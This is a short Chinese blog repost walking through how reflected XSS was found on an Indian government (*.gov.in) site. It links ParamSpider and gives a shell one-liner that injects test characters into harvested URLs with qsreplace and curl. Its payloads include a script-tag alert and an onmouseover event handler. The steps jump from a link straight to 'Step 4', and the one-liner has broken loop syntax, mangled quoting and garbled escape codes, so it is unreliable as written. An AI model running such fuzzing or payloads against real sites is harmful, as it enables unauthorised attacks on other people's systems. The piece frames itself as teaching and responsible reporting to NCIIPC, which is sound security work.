什么是Reflected XSS
Reflected XSS（反射型XSS）是一种安全漏洞，当应用程序接收 HTTP 请求中的数据并将其存储在响应中而没有对其进行正确过滤和清理时，就会发生这种情况。
让我们一步一步来
https://github.com/devanshbatham/ParamSpider
第4步：检查所有直接反映特殊字符的 url。
cat urls.txt| egrep -iv ".(jpg|jpeg|js|css|gif|tif|tiff|png|woff|woff2|ico|pdf|svg|txt)" | qsreplace '"><()'| tee combinedfuzz.json && cat combinedfuzz.json | while read host do ; do curl --silent --path-as-is --insecure "$host" | grep -qs ""><()" && echo -e "$host �33[91m Vullnerable e[0m n" || echo -e "$host �33[92m Not Vulnerable e[0m n"; done | tee XSS.txt
该脚本将这些参数显示为易受攻击的：
第5步：立即手动尝试：
"><script>alert(1);</script>
不起作用：
无弹出窗口：
让我们从头开始
只需尝试：单引号
'
现在尝试一些事件：
' onmouseover=alert(1);>
输入有效负载后将鼠标悬停在链接上即可执行它。
我们遇到了 XSS，现在向 NCIIPC 报告
原文始发于微信公众号（潇湘信安）：如何在*.Gov.in发现Reflected XSS
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论